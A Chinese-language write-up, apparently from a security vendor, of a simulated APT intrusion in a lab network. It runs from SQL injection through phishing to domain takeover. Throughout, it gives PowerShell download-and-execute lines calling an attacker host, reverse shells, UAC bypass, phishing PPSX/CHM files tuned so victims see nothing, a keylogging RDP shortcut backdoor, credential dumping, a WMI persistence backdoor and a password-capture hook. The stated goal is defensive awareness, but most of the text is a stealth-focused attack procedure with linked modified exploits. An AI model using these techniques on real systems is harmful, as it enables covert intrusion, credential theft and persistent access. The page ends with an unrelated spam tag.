APT攻击方式花样繁多,我研究最近的流行的APT攻击方式,在本地搭建环境模拟一次简单的APT攻击,在模拟攻击过程中发现网上公布的poc都会有大大小的缺陷,大多数poc执行过程中都会弹出一闪而过的黑框框,我深入分析这些脚本,修改其中的代码,使其执行的过程中消除那个一闪而过的黑框框,从而让中招的不会轻易产生怀疑。我研究的目的是暴露这样的攻击过程,让更多的人了解这样的攻击过程,从而能够研究出更有效的防御 ... 。
内网的拓扑
拓扑说明:
>>>点击查看业务详细介绍合作咨询>>>【1】10.101****/24的网段模拟的是外网的地址
【2】192.16****/24的网段模拟的是一个小型企业的内网中的应用服务器网络
【3】192.16****/24的网段模拟的是一个小型企业的内网中的办公网络
【4】企业内网可以无限制的访问到外网,但是外网无法访问到企业内网
【5】办公网可以无限制的访问到应用服务器网络,但是应用服务器网络无法访问到办公网络
【6】部分服务器打了全部的补丁,并且保持正常更新
日常扫描
发现此服务器开放80,82端口,是window**** ..系统 。在80端口发现有sql注入
首先看数据库和数据库所在的服务器版本:
http:/ /10.101****/?page= 1and@@versio****> 0--
数据库是2008r****的,数据库所在的操作系统是win200****或者win7然后看数据库:
http:/ /10.101****/?page= 1; ifIS_S****( 'sysadm****')= 1waitf**** dela**** '0:0:5'--
这个语句测试数据库的权限,发现有延时,证明是有数据库的权限是dba的权限然后用:
EXEC sp_con**** ' showad**** ',1;RECONF****;EXEC sp_con**** 'xp_cmd**** ',1;RECONF****;
打开xp_cmd****的限制,下面创建一个临时表:
http****://10.101****/?page=1; create****( idinti****( 1, 1),a varcha****( ..)); --
执行ipconf**** /all并将结果写入新创建的临时表中
http****://10.101****/?page=1; insert**** exec master**** 'ipconf**** /all'; --
读取结果:
http****://10.101****/?page=1 and ( select****(( select**** fromte**** forxml****), 1, ..))> 0--
看上去这个网站是站库分离的网站。
然后用这种 ... 执行“ping 10.101****”,发现数据库服务器可以通外网,获取这些信息之后,我用下面的指令删除创建的临时表
http****://10.101****/?page=1; dropta****; --
获取到这么多信息了之后,在自己的机子上开一个web站点,下载nishan****的powers****的反弹脚本到自己的web服务器上:http****://github****/samrat****/nishan**** ,先在自己的主机上用nc -lvv**** ..监听..端口,等待反弹连接 。
然后执行
http:/ /10.101****/?page= 1;exec master**** 'powers**** IEX (New-Ob**** Net.We****).Downl****('http:/ /10.101****/Invoke**** ');Invoke**** -Rever**** -IPAdd**** 10.101**** -por**** ..';--
我们可以看到执行成功
但是数据库被降权,权限不高,现在我把ms15-0****的exp上传到自己的服务器,用powers****的远程加载并执行exe的脚本。执行这个exp首先下载powers****的这个脚本
http****://github****/clymb3****/PowerS****/blob/maste****/Invoke****/Invoke****
然后执行
IEX (New- Object****).Downl****( 'http****://10.101****/Invoke****');Invoke**** -PEUr**** http: //10.101****/x86/ms15-0**** -ExeAr**** "cmd" -Force****
可以看到提权没有成功,并且换一个exp也没有成功
所以下面上msf继续探测 先开启msf的监听功能
然后执行
http: //10.101**** 101.1****/?page= 1; execma****( 'IEX(New-Ob**** Net.We****).Downl****("http****://10.101****/CodeEx****/Invoke****")Invoke**** -paylo**** window****/meterp****/revers**** -lhos**** 10.101**** -lpor**** .. -forc****')
这样就从数据库主机上反弹一个meterp****连接了。
先用
useaux****/scanne****/ ... b/ ... b_ve****
扫描 ... b来获取内网的信息
发现一个mail服务器,用
useaux****/scanne****/portsc****
扫描一下端口 ,发现开放了80端口,25,110端口
我用 use auxili****/serve****/socks4**** 代理进内网
在乌云镜像里面没有找到可以用的洞,但是在82端口发现了惊喜
通过弱口令轻松进入到后台,发现一个可以生成静态站的地方
把自定义静态页面存储主路径改成1.as****,然后编辑一篇文章,把木马代码放进去,重新生成静态页面就可以getshe****了
这个服务器的82端口不能执行cmd,不支持aspx,不能跨目录到umai****,但是在一个奇怪的地方发现一个一份企业通讯录,下载下来看到管理员邮箱
于是想到用伪造邮件的 ... 来钓管理员 首先参考两个文章:
http****://www.fr****/vuls/144054****
http****://www.91****/15506.****
>>>>
第一种 ...
首先用CVE-..****给的exp做一个钓鱼用的ppsx 。由于原来的exp要用poersh****下载一个shell.****再执行,这样容易被杀软发现,并且原来的exp执行反弹回来的shel****权限不够,所以要考虑绕过uac,让管理员点击恶意的ppsx后静默反弹一个高权限的shel****。如果用nishan****给的Invoke****,执行之后会有一个一闪而过的黑框框,很让人感到怀疑,去掉这个一闪而过的黑框框很简单,因为我用oobe的 ... 在win7上绕过uac,所以我在这里只介绍在这种条件下去掉黑框框的 ... 。首先去掉Invoke****中第206行的“& $execpa****”这个代码,之后在调用Invoke****的时候-paylo****参数写上你要执行的命令,最后用rundll****静默启动C:/Window****/System****/oobe/setups****
IEX(New- Object****).Downl****( "http****://10.101****/uacchm****")
换掉原来exp里面的powers****调用语句 其中uacchm****的内容是:
IEX (New- Object****).Downl****( 'http****://10.101****/nishan****/Escala****/Invoke****')Invoke**** -metho**** oobe -Paylo**** 'powers**** -win hidde**** -enc SQBFAF****=='Start-**** -FileP**** rundll**** -Argum**** 'java:"..msht****,RunHTM**** ";new%20Acti****("W.Shel****").Run("C:/Window****/System****/oobe/setups****",0,true);self.c****();'
而其中enc后面的数据是经过下面的代码编码而成:
$comman**** = "IEX (New-Ob**** Net.We****).Downl****('http****://10.101****/chm.ps****')"$byte**** = [System****] ::Unicod****($comman****) $encode**** = [Conver****] ::ToBase****($byte****) powers**** -Encod**** $encode****
编码的内容是:
IEX (New- Object****).Downl****( 'http****://10.101****/chm.ps****')
chm.ps****的内容是:
IEX (New- Object****).Downl****( "http****://10.101****/powers****/CodeEx****/Invoke****"); Invoke**** -paylo**** window****/meterp****/revers**** -lhos**** 10.101**** ..-for****
改好的exp我放在了
http****://github****/niexin****/safe_t****/blob/maste****/cve-..****
用法是:先生成一个恶意的ppsx
pytho**** cve -..-85**** -M gen -w car.pp**** -u http: //10.101****:82/logo.d****
在82端口开启服务
python**** -Mexp-**** .101.1****
Ps: 好多时候这个漏洞复现不成功,可以将查看 文件 -> 选项,点击 信任中心设置:
去掉这些勾就好
>>>>
第二种 ...
这个比较简单: 用easy chm做一个恶意的chm就好
其中我做的test.h****放在了
http****://github****/niexin****/safe_t****/blob/maste****/test.h****
Ps:由于PARA****的valu****的长度似乎有某种限制,所以我把
IEX (New- Object****).Downl****( "http****://10.101****/uacchm****")base6****
编码之后放入PARA****的valu****中
两个恶意的文件都 ... 好了,我现在用swak****伪造邮件把这两个文档发送出去
现在静静等待管理员点击我们的恶意文件,启动msf的exploi****/mult****/handle****模块时候用exploi**** -j就可以让msf在后台等待管理员上钩了。 这个时候发现一个管理员中了我们的木马
由于bypas****了uac,所以返回的是管理员的shel****,我们可以用mimika****来把密码脱出来看看
由于管理员的机子不属于任何域,也不是域账号登陆,所以,我需要获取他的在远程登陆其他机子的时候的用户名和密码,根据 《解析 ... 俄罗斯APT组织使用的快捷方式后门文件》这篇文件的介绍,我希望替换远程桌面的快捷方式来监视管理员的行为。
思路是:
(1)正常启动c:window****,避免管理员怀疑 ;
(2)由于原来的exp一启动就会有个黑框框一闪而过,要用rundll****的方式来消除黑框框,让恶意代码静态启动;
(3)参数部分要先加260个空格字符后面接着为payloa****代码,这样减小管理员查看属性的时候看到payloa****而产生怀疑 ;
(4)参考 《渗透技巧――如何巧妙利用PSR监控Window****桌面》 这个文章静默启动一个桌面步骤记录程序 ;
(5)利用PowerS****的Get-Ke****的脚本来记录键盘记录
(6)记录一分钟后把记录的文件隐藏起来
(7)启动metasp****的反弹连接
(8)修改图标(关于C:Window****的图标id,有个网站给的很全面,可以修改传递给图标id来修改图标)
我把修改好的代码放在 http****://github****/niexin****/safe_t****/blob/maste****/link.p****,远程加载的恶意的powers****代码放在了http****://github****/niexin****/safe_t****/blob/maste****/rlnk.p****,生成好恶意的快捷方式之后 ,只要修改rlnk.p****就可以做你想做的事情了。
>>>>
使用 ...
看着已经生成好了,看一下效果
看着比较正常,用起来也很正常,没有卡顿,没有一闪而过的黑框 。如果管理员用到远程登陆快捷方式去远程登陆服务器的话,在c:window****目录下会生成log.dl****,这个里面记录的是键盘记录,cap.zi****记录的是关键步骤截屏
等管理员启动的恶意的远程登陆快捷方式之前,可以用管理员的密码在应用服务器网段内用use auxili****/scanne****/ ... b/ ... b_lo****碰碰运气
看上去运气不佳啊
等了几天,发现在这个目录下有这个东西了
下载之后看到,键盘记录:
下面是屏幕截图记录
这样我就获得了一个普通域账号的账户名和密码 。
下面试试MS14-0****这个漏洞能不能成功,参考文章:
http****://note.y****/shar****/?id=1fe304****&type=note****/用proxyc****执行golden**** diatta****/jack:jackpw****@dns.di**** 哇,居然可以攻击
Ps: 攻击的时候如果dns在内网要记得host****的地址绑定
用得到的shel****反弹一个powesh****出来到本地..端口,如果你用下面的语句反弹的话将得到是一个32位的powers****:
powers**** IEX (New- Object****).Downl****( 'http****://10.101****/nishan****/Shell****/Invoke****');Invoke**** -Rever**** -IPAdd**** 10.101**** ..
这个时候你运行
IEX (New- Object****).Downl****( 'http****://10.101****/nishan****/Gathe****/Invoke****');Invoke****
系统会报错,原因是你不能在32位的shel****中运行64位的程程序,这里涉及到一个64位系统文件重定向的问题,参考:http****://www.cn****/lhglih****/p/393087****。所以正确的做法是使用下面的代码来反弹一个64位的powers****
C:/ /Window****//SysNat****/Window****/ /v1.0//powers**** IEX (New-Ob**** Net.We****).Downl****('http://10.101****/nishan****/Shell****/Invoke**** ');Invoke**** -Rever**** -IPAdd**** 10.101**** -por**** ..
这个时候你运行
IEX (New- Object****).Downl****( 'http****://10.101****/nishan****/Gathe****/Invoke****');Invoke****
你就会得到域控管理员的密码下面我要在域控上面安装一个隐蔽的后门,参考文章:
http****://www.mo****/post-6****
http****://www.se****/archiv****/39555.****
http****://wooyun****/stati****/drop****/tips-1****
我利用三好学生的 ... ... 一个wmi的后门,首先: 在自己的web目录下写一个mof.ps****,这个文件作用是用利用wmi的定时器的功能让系统每分钟执行一次我们的payloa****,这个mof.ps****我放在http****://github****/niexin****/safe_t****/blob/maste****/mof_ti****。

我还写了一个可以劫持进程的powers****脚本,我放在http****://github****/niexin****/safe_t****/blob/maste****/mof_hi****,这里我用每分钟执行payloa****的这个脚本,这里的我的payloa****我用一个反弹meterp****连接的脚本,mof.tx****里面的内容:
<?xml versio****="1.0"?>
<![CDAT****[var r = new Active****("W.Shel****").Run("powers**** -enc SQBFAF****=="); ]]>
enc编码前的内容依然是:
IEX (New- Object****).Downl****( 'http****://10.101****/chm.ps****')
执行之后,每分钟会反弹一个meterp****的shel****,而且重启后依然会反弹
Ps: 这个wmi的后门我在win1****上实验的时候,不能执行payloa****,如果触发到后门的触发条件的话,win1****会弹出openwi****这个进程,界面上看就是这个
查了两天资料也没有找到一个正经的解决 ... ,但是后来把openwi****换成cmd.ex****就可以执行payloa****了,因为win7和win200****没有openwi****,所以没有遇到什么阻力就直接执行payloa****了,但是win1****和win8在正常情况下就会打开openwi****这个后门的清理方式,可以参考http****://www.52****/thread****
我还想放置一个后门,在域控管理员改密码的时候记录他的新密码,参考:http****://wooyun****/stati****/drop****/tips-1****,注意他的脚本里面有一个选项可以从你的web服务器加载一个dll到对方主机内存里面,这样你把你的dll生成好之后就可以放在你的web服务器下面,在这个ps1最下面加入
Invoke**** -PEUr**** http: //10.101****/HookPa**** Cprocn**** lsas****
就可以了,然后你把这个脚本的调用加入到chm.ps****里面:下面是改动之后chm.ps****里面的内容:
IEX (New- Object****).Downl****( "http****://10.101****/HookPa****")IEX (New- Object****).Downl****( "http****://10.101****/powers****/CodeEx****/Invoke****"); Invoke**** -paylo**** window****/meterp****/revers**** -lhos**** 10.101**** ..-for****
这样就可以任何时候每隔一分钟的时候可以一方面反弹一个meterp****的连接,还可以在域管理员改密码的时候记录他的新密码
本文介绍了web渗透,邮件钓鱼,后门部署等奇技淫巧,尤其针对消除各种一闪而过的cmd弹窗给出了我自己的解决思路,如果有问题大家可以在评论区留言,我们共同探讨。
(来源:亚信安全)
标签: 初婚有刺小说无弹窗全集免费阅读
